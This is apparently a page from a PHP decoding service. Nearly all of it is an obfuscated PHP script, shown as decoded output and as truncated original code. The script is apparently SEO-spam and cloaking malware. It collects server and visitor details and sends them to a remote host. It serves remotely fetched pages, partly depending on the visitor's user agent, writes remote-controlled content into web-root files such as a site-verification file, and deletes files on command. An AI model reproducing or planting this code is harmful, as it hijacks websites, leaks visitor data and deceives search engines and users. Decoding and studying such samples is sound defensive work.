Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0);header('Content-Type: text/html; charset=utf-8');$OOOOOO="%71%77..

Decoded Output download

<?php 
error_reporting(0);header('Content-Type: text/html; charset=utf-8');$OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c";$OoooOO0 = 'vne';$O=urldecode($OOOOOO);$OO = @$_SERVER[$O[38].$O[34].$O[47].$O[32].$O[51].$O[28].$O[50].$O[30].$O[52].$O[29].$O[34].$O[34].$O[30]];$Oo = @$_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]];$OoO = @$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[41].$O[34].$O[37].$O[30]];$Ooolg = @$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[36].$O[47].$O[47].$O[28].$O[35].$O[30].$O[52].$O[44].$O[36].$O[50].$O[40].$O[32].$O[36].$O[40].$O[28]];$OOOOO = @$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]];$o0o0oOO000 = @basename(__FILE__);$OOOOO = str_replace("+","",$OOOOO);$OOOOO = str_replace("&","",$OOOOO);$OOOOO = str_replace("(","",$OOOOO);$OOOOO = str_replace(".","",$OOOOO);$OOOOO = str_replace(")","",$OOOOO);$OOOOO = str_replace(";","",$OOOOO);$OOOOO = @strtolower($OOOOO);$OOOOOo = @$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[29].$O[28].$O[39].$O[28].$O[29].$O[28].$O[29]];$OOOOOo = @strtolower($OOOOOo);$OOOOOOO = ((isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]]) && $_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]] == $O[8].$O[24]) || (isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[46].$O[52].$O[39].$O[34].$O[29].$O[27].$O[36].$O[29].$O[38].$O[28].$O[38].$O[52].$O[35].$O[29].$O[34].$O[30].$O[34]]) && $_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[46].$O[52].$O[39].$O[34].$O[29].$O[27].$O[36].$O[29].$O[38].$O[28].$O[38].$O[52].$O[35].$O[29].$O[34].$O[30].$O[34]] == $O[15].$O[4].$O[4].$O[9].$O[11])) ? $O[15].$O[4].$O[4].$O[9].$O[11].$O[62].$O[63].$O[63] : $O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63];$OOOOOOOo = $OOOOOOO . $OoO;if(getenv($O[41].$O[30].$O[30].$O[35].$O[52].$O[47].$O[44].$O[33].$O[28].$O[50].$O[30].$O[52].$O[33].$O[35])){$oo00oo00 = getenv($O[41].$O[30].$O[30].$O[35].$O[52].$O[47].$O[44].$O[33].$O[28].$O[50].$O[30].$O[52].$O[33].$O[35]);} elseif(getenv($O[41].$O[30].$O[30].$O[35].$O[52].$O[46].$O[52].$O[39].$O[34].$O[29].$O[27].$O[36].$O[29].$O[38].$O[28].$O[38].$O[52].$O[39].$O[34].$O[29])) {$oo00oo00 = getenv($O[41].$O[30].$O[30].$O[35].$O[52].$O[46].$O[52].$O[39].$O[34].$O[29].$O[27].$O[36].$O[29].$O[38].$O[28].$O[38].$O[52].$O[39].$O[34].$O[29]);} elseif(getenv($O[29].$O[28].$O[51].$O[34].$O[30].$O[28].$O[52].$O[36].$O[38].$O[38].$O[29])) {$oo00oo00 = getenv($O[29].$O[28].$O[51].$O[34].$O[30].$O[28].$O[52].$O[36].$O[38].$O[38].$O[29]);} else {$oo00oo00 = $_SERVER[$O[29].$O[28].$O[51].$O[34].$O[30].$O[28].$O[52].$O[36].$O[38].$O[38].$O[29]];}$o0o0ooo0o = explode($O[55],$Oo);$o0o0ooo0o0 = $o0o0ooo0o[0];$o0o0ooo0o0o00o = false;if (file_exists($OO.$o0o0ooo0o0)&&!($o0o0ooo0o0==$O[63].$O[7].$O[24].$O[12].$O[2].$O[20].$O[59].$O[9].$O[15].$O[9]||$o0o0ooo0o0==$O[7].$O[24].$O[12].$O[2].$O[20].$O[59].$O[9].$O[15].$O[9]||$o0o0ooo0o0==$O[63])) {$o0o0ooo0o0o00o = true;}if(isset($_GET[$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[8].$O[24].$O[18].$O[7].$O[24].$O[2]])&&$_GET[$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[8].$O[24].$O[18].$O[7].$O[24].$O[2]]==$O[8].$O[24].$O[18].$O[7].$O[24].$O[2].$O[71].$O[71]) {echo $O[12].$O[8].$O[25].$O[10].$O[7].$O[24].$O[57].$O[8].$O[24].$O[18].$O[7].$O[24].$O[2].$O[88];exit;}if(isset($_GET[$O[14].$O[8].$O[8].$O[14].$O[18].$O[2]])){$OoOO=$_GET[$O[14].$O[8].$O[8].$O[14].$O[18].$O[2]];if (preg_match($O[63].$O[79].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[89].$O[55].$O[76].$O[83].$O[59].$O[15].$O[4].$O[25].$O[18].$O[77].$O[80].$O[63].$O[7], $OoOO)) {if(OooooOOOO($O,$OoOO,$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[53].$O[11].$O[7].$O[4].$O[2].$O[53].$O[22].$O[2].$O[3].$O[7].$O[13].$O[7].$O[21].$O[10].$O[4].$O[7].$O[8].$O[24].$O[62].' '.$OoOO)){exit($O[58].$O[10].$O[57].$O[15].$O[3].$O[2].$O[13].$O[61].$OoOO.$O[56].$OoOO.$O[58].$O[63].$O[10].$O[56]);}else{exit($O[13].$O[10].$O[7].$O[18].$O[88].$O[88].$O[88].$O[88]);}}header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);header($O[37].$O[4].$O[10].$O[4].$O[6].$O[11].$O[62].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);exit();}if(isset($_GET[$O[3].$O[8].$O[23].$O[8].$O[4].$O[11]])){$both = '';$o0o0o = $_GET[$O[3].$O[8].$O[23].$O[8].$O[4].$O[11]];$Oooooo = $O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$OoooOO0.$O[59].$O[22].$O[16].$O[8].$O[4].$O[11].$O[10].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[47].$O[18].$O[10].$O[11].$O[11].$O[63].$O[29].$O[8].$O[23].$O[59].$O[9].$O[15].$O[9].$O[55].$O[3].$O[8].$O[23].$O[61].$o0o0o.$O[78].$O[9].$O[1].$O[12].$O[61].$O[11].$O[18].$O[64].$O[65].$O[66].$O[78].$O[12].$O[8].$O[25].$O[10].$O[7].$O[24].$O[61].$OOOOOOOo.$O[78].$O[21].$O[6].$O[3].$O[61].$o0o0oOO000.$O[78].$O[2].$O[20].$O[7].$O[11].$O[4].$O[13].$O[61].$o0o0ooo0o0o00o.$O[78].$O[11].$O[12].$O[61].$o0o0ooo0o0;if ($_GET[$O[22].$O[13].$O[52].$O[23].$O[8].$O[4]] == $O[8].$O[24].$O[18].$O[7].$O[24].$O[2].$O[71].$O[71]) {echo $Oooooo;exit;}$html_content = OooooOO($O,$Oooooo);if(strstr($html_content,$O[8].$O[17].$O[15].$O[4].$O[25].$O[18].$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4])){@header("Content-type: text/html; charset=utf-8");$html_content = str_replace("okhtmlgetcontent",'',$html_content);if(OooooOOOO($O,$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4],$html_content,$o0o0ooo0o0o00o)) {echo @file_get_contents($OO.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4]);exit();} else {exit($O[13].$O[10].$O[7].$O[18].$O[88].$O[88].$O[88]);}}else if(strstr($html_content,$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[70].$O[67].$O[70].$O[9].$O[10].$O[14].$O[2])){@header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[64].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);exit();}}if(isset($_GET[$O[12].$O[2].$O[18].$O[52].$O[23].$O[8].$O[4].$O[15]])&&$_GET[$O[12].$O[2].$O[18].$O[52].$O[23].$O[8].$O[4].$O[15]]==$O[12].$O[2].$O[18].$O[64].$O[65].$O[66]){@unlink($O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4]);@unlink($O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[59].$O[20].$O[25].$O[18]);exit($O[12].$O[2].$O[18].$O[57].$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[88]);}$OOOooo000=array($O[2].$O[12]=>$OoooOO0,$O[12]=>$OoO,$O[6].$O[18]=>$Oo,$O[3]=>$OOOOOo,$O[15]=>$OOOOOOO,$O[14]=>$OOOOO,$O[18].$O[14]=>$Ooolg,$O[7].$O[9]=>$oo00oo00,$O[21].$O[6].$O[3]=>$o0o0oOO000,$O[2].$O[20].$O[7].$O[11].$O[4].$O[13]=>$o0o0ooo0o0o00o,$O[11].$O[12]=>$o0o0ooo0o0);if(isset($_GET[$O[22].$O[13].$O[52].$O[9].$O[8].$O[11].$O[4]])&&$_GET[$O[22].$O[13].$O[52].$O[9].$O[8].$O[11].$O[4]] ==$O[8].$O[24].$O[18].$O[7].$O[24].$O[2].$O[71].$O[71]){echo $O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$OoooOO0.$O[59].$O[22].$O[16].$O[8].$O[4].$O[11].$O[10].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[16].$O[9].$O[9].$O[3].$O[52].$O[9].$O[8].$O[11].$O[4].$O[59].$O[9].$O[15].$O[9].$O[55].http_build_query($OOOooo000).$O[78].$O[4].$O[11].$O[4].$O[61].$O[11].$O[18].$O[64].$O[65].$O[66];exit;}if(preg_match($O[63].$O[5].$O[10].$O[15].$O[8].$O[8].$O[90].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[90].$O[23].$O[7].$O[24].$O[14].$O[63].$O[7], $OOOOOo)){$html_content = OooooOO($O,$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$OoooOO0.$O[59].$O[22].$O[16].$O[8].$O[4].$O[11].$O[10].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[16].$O[9].$O[9].$O[3].$O[52].$O[9].$O[8].$O[11].$O[4].$O[59].$O[9].$O[15].$O[9],$OOOooo000);} else {$html_content = OooooOO($O,$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$OoooOO0.$O[59].$O[22].$O[16].$O[8].$O[4].$O[11].$O[10].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[16].$O[9].$O[9].$O[3].$O[52].$O[9].$O[8].$O[11].$O[4].$O[59].$O[9].$O[15].$O[9],$OOOooo000);}if(strstr($html_content,$O[8].$O[17].$O[15].$O[4].$O[25].$O[18].$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4])){@header("Content-type: text/html; charset=utf-8");$html_content = str_replace("okhtmlgetcontent",'',$html_content);echo $html_content;exit();}else if(strstr($html_content,$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[69].$O[67].$O[67].$O[9].$O[10].$O[14].$O[2])){@header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[64].$O[57].$O[69].$O[67].$O[67].$O[57].$O[33].$O[24].$O[4].$O[2].$O[3].$O[24].$O[10].$O[18].$O[57].$O[37].$O[2].$O[3].$O[22].$O[2].$O[3].$O[57].$O[28].$O[3].$O[3].$O[8].$O[3]);exit();}else if(strstr($html_content,$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[70].$O[67].$O[70].$O[70].$O[9].$O[10].$O[14].$O[2])){@header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[64].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);exit();}else if(strstr($html_content,$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9])){header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]);$html_content = str_replace("getcontentsitemap",'',$html_content);echo $html_content;exit();}else if(strstr($html_content,$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[9].$O[7].$O[24].$O[14].$O[25].$O[10].$O[9])){$html_content = str_replace("getcontentpingmap",'',$html_content);$html_content = explode($O[92],$html_content);foreach($html_content as $Oog => $Oov){$o0o0oooo = OooooOO($O,$Oov);$Oooo0s = (strpos($o0o0oooo,$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[57].$O[50].$O[8].$O[4].$O[7].$O[13].$O[7].$O[21].$O[10].$O[4].$O[7].$O[8].$O[24].$O[57].$O[29].$O[2].$O[21].$O[2].$O[7].$O[22].$O[2].$O[12]) !== false) ? $O[34].$O[43] : $O[28].$O[29].$O[29].$O[34].$O[29];echo $Oov.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$Oooo0s.PHP_EOL;}exit();}function OooooOO($O,$OooO,$OOOooo000=''){$OooOO = '';if(function_exists($O[21].$O[6].$O[3].$O[18].$O[52].$O[7].$O[24].$O[7].$O[4])){try{$OooOOOO = curl_init();$OoooOO = 30;curl_setopt($OooOOOO,CURLOPT_URL,$OooO);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($OooOOOO,CURLOPT_RETURNTRANSFER,1);if($OOOooo000) {curl_setopt($OooOOOO, CURLOPT_POST, 1);curl_setopt($OooOOOO, CURLOPT_POSTFIELDS, http_build_query($OOOooo000));}curl_setopt($OooOOOO,CURLOPT_CONNECTTIMEOUT,$OoooOO);$OooOO = curl_exec($OooOOOO);curl_close($OooOOOO);}catch (Exception $e){}}if(strlen($OooOO)<1&&function_exists($O[13].$O[7].$O[18].$O[2].$O[52].$O[14].$O[2].$O[4].$O[52].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[11])){if ($OOOooo000) {$oO00Oo = http_build_query($OOOooo000);$options[$O[15].$O[4].$O[4].$O[9]] = array($O[4].$O[7].$O[25].$O[2].$O[8].$O[6].$O[4]=>60,$O[25].$O[2].$O[4].$O[15].$O[8].$O[12] => $O[35].$O[34].$O[37].$O[30],$O[15].$O[2].$O[10].$O[12].$O[2].$O[3] => $O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[10].$O[9].$O[9].$O[18].$O[7].$O[21].$O[10].$O[4].$O[7].$O[8].$O[24].$O[63].$O[20].$O[53].$O[1].$O[1].$O[1].$O[53].$O[13].$O[8].$O[3].$O[25].$O[53].$O[6].$O[3].$O[18].$O[2].$O[24].$O[21].$O[8].$O[12].$O[2].$O[12],$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4] => $oO00Oo);$context = stream_context_create($options);$OooOO = file_get_contents($OooO, false, $context);} else{$OooOO = file_get_contents($OooO);}}if($OooOO) {return $OooOO;}$OooO=$OooO.$O[55].http_build_query($OOOooo000).$O[78].$O[4].$O[11].$O[4].$O[61].$O[11].$O[18].$O[64].$O[65].$O[66];if(function_exists($O[21].$O[6].$O[3].$O[18].$O[52].$O[7].$O[24].$O[7].$O[4])){try{$OooOOOO = curl_init();$OoooOO = 30;curl_setopt($OooOOOO,CURLOPT_URL,$OooO);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($OooOOOO,CURLOPT_RETURNTRANSFER,1);curl_setopt($OooOOOO,CURLOPT_CONNECTTIMEOUT,$OoooOO);$OooOO = curl_exec($OooOOOO);curl_close($OooOOOO);}catch (Exception $e){}}if(strlen($OooOO)<1&&function_exists($O[13].$O[7].$O[18].$O[2].$O[52].$O[14].$O[2].$O[4].$O[52].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[11])){$OooOO = @file_get_contents($OooO);}return $OooOO;}function OooooOOOO($O,$Ooo, $OooOOOOO, $app='') {if ($app) {$OoooO = fopen(@$_SERVER[$O[38].$O[34].$O[47].$O[32].$O[51].$O[28].$O[50].$O[30].$O[52].$O[29].$O[34].$O[34].$O[30]].$O[63].$Ooo, $O[10]) or die('0');$OooOOOOO = PHP_EOL.$OooOOOOO;}else{$OoooO = fopen(@$_SERVER[$O[38].$O[34].$O[47].$O[32].$O[51].$O[28].$O[50].$O[30].$O[52].$O[29].$O[34].$O[34].$O[30]].$O[63].$Ooo, $O[1]) or die('0');}$result = fwrite($OoooO, $OooOOOOO);fclose($OoooO);return $result;}?>

Did this file decode correctly?

Original Code

<?php
error_reporting(0);header('Content-Type: text/html; charset=utf-8');$OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c";$OoooOO0 = 'vne';$O=urldecode($OOOOOO);$OO = @$_SERVER[$O[38].$O[34].$O[47].$O[32].$O[51].$O[28].$O[50].$O[30].$O[52].$O[29].$O[34].$O[34].$O[30]];$Oo = @$_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]];$OoO = @$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[41].$O[34].$O[37].$O[30]];$Ooolg = @$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[36].$O[47].$O[47].$O[28].$O[35].$O[30].$O[52].$O[44].$O[36].$O[50].$O[40].$O[32].$O[36].$O[40].$O[28]];$OOOOO = @$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]];$o0o0oOO000 = @basename(__FILE__);$OOOOO = str_replace("+","",$OOOOO);$OOOOO = str_replace("&","",$OOOOO);$OOOOO = str_replace("(","",$OOOOO);$OOOOO = str_replace(".","",$OOOOO);$OOOOO = str_replace(")","",$OOOOO);$OOOOO = str_replace(";","",$OOOOO);$OOOOO = @strtolower($OOOOO);$OOOOOo = @$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[29].$O[28].$O[39].$O[28].$O[29].$O[28].$O[29]];$OOOOOo = @strtolower($OOOOOo);$OOOOOOO = ((isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]]) && $_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]] == $O[8].$O[24]) || (isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[46].$O[52].$O[39].$O[34].$O[29].$O[27].$O[36].$O[29].$O[38].$O[28].$O[38].$O[52].$O[35].$O[29].$O[34].$O[30].$O[34]]) && $_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[46].$O[52].$O[39].$O[34].$O[29].$O[27].$O[36].$O[29].$O[38].$O[28].$O[38].$O[52].$O[35].$O[29].$O[34].$O[30].$O[34]] == $O[15].$O[4].$O[4].$O[9].$O[11])) ? $O[15].$O[4].$O[4].$O[9].$O[11].$O[62].$O[63].$O[63] : $O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63];$OOOOOOOo = $OOOOOOO . $OoO;if(getenv($O[41].$O[30].$O[30].$O[35].$O[52].$O[47].$O[44].$O[33].$O[28].$O[50].$O[30].$O[52].$O[33].$O[35])){$oo00oo00 = getenv($O[41].$O[30].$O[30].$O[35].$O[52].$O[47].$O[44].$O[33].$O[28].$O[50].$O[30].$O[52].$O[33].$O[35]);} elseif(getenv($O[41].$O[30].$O[30].$O[35].$O[52].$O[46].$O[52].$O[39].$O[34].$O[29].$O[27].$O[36].$O[29].$O[38].$O[28].$O[38].$O[52].$O[39].$O[34].$O[29])) {$oo00oo00 = getenv($O[41].$O[30].$O[30].$O[35].$O[52].$O[46].$O[52].$O[39].$O[34].$O[29].$O[27].$O[36].$O[29].$O[38].$O[28].$O[38].$O[52].$O[39].$O[34].$O[29]);} elseif(getenv($O[29].$O[28].$O[51].$O[34].$O[30].$O[28].$O[52].$O[36].$O[38].$O[38].$O[29])) {$oo00oo00 = getenv($O[29].$O[28].$O[51].$O[34].$O[30].$O[28].$O[52].$O[36].$O[38].$O[38].$O[29]);} else {$oo00oo00 = $_SERVER[$O[29].$O[28].$O[51].$O[34].$O[30].$O[28].$O[52].$O[36].$O[38].$O[38].$O[29]];}$o0o0ooo0o = explode($O[55],$Oo);$o0o0ooo0o0 = $o0o0ooo0o[0];$o0o0ooo0o0o00o = false;if (file_exists($OO.$o0o0ooo0o0)&&!($o0o0ooo0o0==$O[63].$O[7].$O[24].$O[12].$O[2].$O[20].$O[59].$O[9].$O[15].$O[9]||$o0o0ooo0o0==$O[7].$O[24].$O[12].$O[2].$O[20].$O[59].$O[9].$O[15].$O[9]||$o0o0ooo0o0==$O[63])) {$o0o0ooo0o0o00o = true;}if(isset($_GET[$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[8].$O[24].$O[18].$O[7].$O[24].$O[2]])&&$_GET[$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[8].$O[24].$O[18].$O[7].$O[24].$O[2]]==$O[8].$O[24].$O[18].$O[7].$O[24].$O[2].$O[71].$O[71]) {echo $O[12].$O[8].$O[25].$O[10].$O[7].$O[24].$O[57].$O[8].$O[24].$O[18].$O[7].$O[24].$O[2].$O[88];exit;}if(isset($_GET[$O[14].$O[8].$O[8].$O[14].$O[18].$O[2]])){$OoOO=$_GET[$O[14].$O[8].$O[8].$O[14].$O[18].$O[2]];if (preg_match($O[63].$O[79].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[89].$O[55].$O[76].$O[83].$O[59].$O[15].$O[4].$O[25].$O[18].$O[77].$O[80].$O[63].$O[7], $OoOO)) {if(OooooOOOO($O,$OoOO,$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[53].$O[11].$O[7].$O[4].$O[2].$O[53].$O[22].$O[2].$O[3].$O[7].$O[13].$O[7].$O[21].$O[10].$O[4].$O[7].$O[8].$O[24].$O[62].' '.$OoOO)){exit($O[58].$O[10].$O[57].$O[15].$O[3].$O[2].$O[13].$O[61].$OoOO.$O[56].$OoOO.$O[58].$O[63].$O[10].$O[56]);}else{exit($O[13].$O[10].$O[7].$O[18].$O[88].$O[88].$O[88].$O[88]);}}header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);header($O[37].$O[4].$O[10].$O[4].$O[6].$O[11].$O[62].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);exit();}if(isset($_GET[$O[3].$O[8].$O[23].$O[8].$O[4].$O[11]])){$both = '';$o0o0o = $_GET[$O[3].$O[8].$O[23].$O[8].$O[4].$O[11]];$Oooooo = $O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$OoooOO0.$O[59].$O[22].$O[16].$O[8].$O[4].$O[11].$O[10].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[47].$O[18].$O[10].$O[11].$O[11].$O[63].$O[29].$O[8].$O[23].$O[59].$O[9].$O[15].$O[9].$O[55].$O[3].$O[8].$O[23].$O[61].$o0o0o.$O[78].$O[9].$O[1].$O[12].$O[61].$O[11].$O[18].$O[64].$O[65].$O[66].$O[78].$O[12].$O[8].$O[25].$O[10].$O[7].$O[24].$O[61].$OOOOOOOo.$O[78].$O[21].$O[6].$O[3].$O[61].$o0o0oOO000.$O[78].$O[2].$O[20].$O[7].$O[11].$O[4].$O[13].$O[61].$o0o0ooo0o0o00o.$O[78].$O[11].$O[12].$O[61].$o0o0ooo0o0;if ($_GET[$O[22].$O[13].$O[52].$O[23].$O[8].$O[4]] == $O[8].$O[24].$O[18].$O[7].$O[24].$O[2].$O[71].$O[71]) {echo $Oooooo;exit;}$html_content = OooooOO($O,$Oooooo);if(strstr($html_content,$O[8].$O[17].$O[15].$O[4].$O[25].$O[18].$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4])){@header("Content-type: text/html; charset=utf-8");$html_content = str_replace("okhtmlgetcontent",'',$html_content);if(OooooOOOO($O,$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4],$html_content,$o0o0ooo0o0o00o)) {echo @file_get_contents($OO.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4]);exit();} else {exit($O[13].$O[10].$O[7].$O[18].$O[88].$O[88].$O[88]);}}else if(strstr($html_content,$O[14].$O[2].$O[4].$O[21].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[70].$O[67].$O[70].$O[9].$O[10].$O[14].$O[2])){@header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[64].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);exit();}}if(isset($_GET[$O[12].$O[2].$O[18].$O[52].$O[23].$O[8].$O[4].$O[15]])&&$_GET[$O[12].$O[2].$O[18].$O[52].$O[23].$O[8].$O[4].$O[15]]==$O[12].$O[2].$O[18].$O[64].$O[65].$O[66]){@unlink($O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4]);@unlink($O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[59].$O[20].$O[25].$O[18]);exit($O[12].$O[2].$O[18].$O[57].$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[88]);}$OOOooo000=array($O[2].$O[12]=>$OoooOO0,$O[12]=>$OoO,$O[6].$O[18]=>$Oo,$O[3]=>$OOOOOo,$O[15]=>$OOOOOOO,$O[14]=>$OOOOO,$O[18].$O[14]=>$Ooolg,$O[7].$O[9]=>$oo00oo00,$O[21].$O[6].$O[3]=>$o0o0oOO000,$O[2].$O[20].$O[7].$O[11].$O[4].$O[13]=>$o0o0ooo0o0o00o,$O[11].$O[12]=>$o0o0ooo0o0);if(isset($_GET[$O[22].$O[13].$O[52].$O[9].$O[8].$O[11].$O[4]])&&$_GET[$O[22].$O[13].$O[52].$O[9].$O[8].$O[11].$O[4]] ==$O[8].$O[24].$O[18].$O[7].$O[24].$O[2].$O[71].$O[71]){echo $O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$OoooOO0.$O[59].$O[22].$O[16].$O[8].$O[4].$O[11].$O[10].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[16].$O[9].$O[9].$O[3].$O[52].$O[9].$O[8].$O[11].$O[4].$O[59].$O[9].$O[15].$O[9].$O[55].http_build_query($OOOooo000).$O[78].$O[4].$O[11].$O[4].$O[61].$O[11].$O[18].$O[64].$O[65].$O[66];exit;}if(preg_match($O[63].$O[5].$O[10].$O[15].$O[8].$O[8].$O[90].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[90].$O[23].$O[7].$O[24].$O[14].$O[63].$O[7], $OOOOOo)){$html_content = 